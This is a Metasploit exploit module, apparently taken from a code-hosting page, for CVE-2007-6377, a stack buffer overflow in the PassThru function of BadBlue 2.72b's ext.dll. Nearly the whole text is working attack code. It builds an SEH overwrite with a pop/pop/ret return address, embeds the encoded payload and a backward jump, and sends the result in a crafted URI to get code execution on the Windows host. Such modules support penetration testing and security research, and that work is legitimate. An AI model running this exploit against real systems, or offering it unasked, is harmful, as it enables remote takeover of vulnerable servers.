Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
10
  # However, a proper Server header is returned when requesting /index.html or using HEAD.
11
  HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
12

13
  include Msf::Exploit::Remote::HttpClient
14
  include Msf::Exploit::Seh
15

16
  def initialize(info = {})
17
    super(update_info(info,
18
      'Name'           => 'BadBlue 2.72b PassThru Buffer Overflow',
19
      'Description'    => %q{
20
          This module exploits a stack buffer overflow in the PassThru
21
        functionality in ext.dll in BadBlue 2.72b and earlier.
22
      },
23
      'Author'         => [ 'MC' ],
24
      'License'        => MSF_LICENSE,
25
      'References'     =>
26
        [
27
          ['CVE', '2007-6377'],
28
          ['OSVDB', '42416'],
29
          ['BID', '26803'],
30
        ],
31
      'DefaultOptions' =>
32
        {
33
          'EXITFUNC' => 'thread',
34
        },
35
      'Privileged'     => true,
36
      'Payload'        =>
37
        {
38
          'Space'    => 750,
39
          'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
40
          'StackAdjustment' => -3500,
41
          #'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
42
          'DisableNops'	=>  'True',
43
        },
44
      'Platform'       => 'win',
45
      'Targets'        =>
46
        [
47
          # This is the version being distributed on badblue.com as of Jul 7th 2010
48
          [ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
49
          [ 'BadBlue 2.72b Universal', { 'Ret' => 0x10033f44 } ]   # pop/pop/ret from ext.dll v1.0.0.1
50
        ],
51
      'DefaultTarget'  => 0,
52
      'DisclosureDate' => '2007-12-10'))
53
  end
54

55
  def exploit
56
    seh_offset = 4116
57
    #sploit = Rex::Text.pattern_create(seh_offset)
58
    sploit = rand_text(seh_offset)
59
    # Need to jump over the nul byte
60
    seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
61
    sploit << seh
62

63
    plen = payload.encoded.length
64
    sploit[seh_offset - 16 - plen, plen] = payload.encoded
65

66
    # This pointer will force a crash when it is used in a lock instruction
67
    ptr = rand_text(3)
68
    ptr << [0x80|rand(256)].pack('C')
69
    sploit[seh_offset - 8,4] = ptr
70

71
    # These two bytes get corrupted, so we can't use them.
72
    sploit << rand_text(2)
73

74
    # jump back to the payload
75
    distance = 2 + 8 + 16 + plen
76
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
77

78

79
    # Build the final URI
80
    uri = "/ext.dll?mfcisapicommand=PassThru&"
81
    uri << sploit
82

83
    print_status("Trying target %s..." % target.name)
84
    send_request_raw({ 'uri' => uri }, 5)
85

86
    handler
87
    disconnect
88
  end
89
end
90

91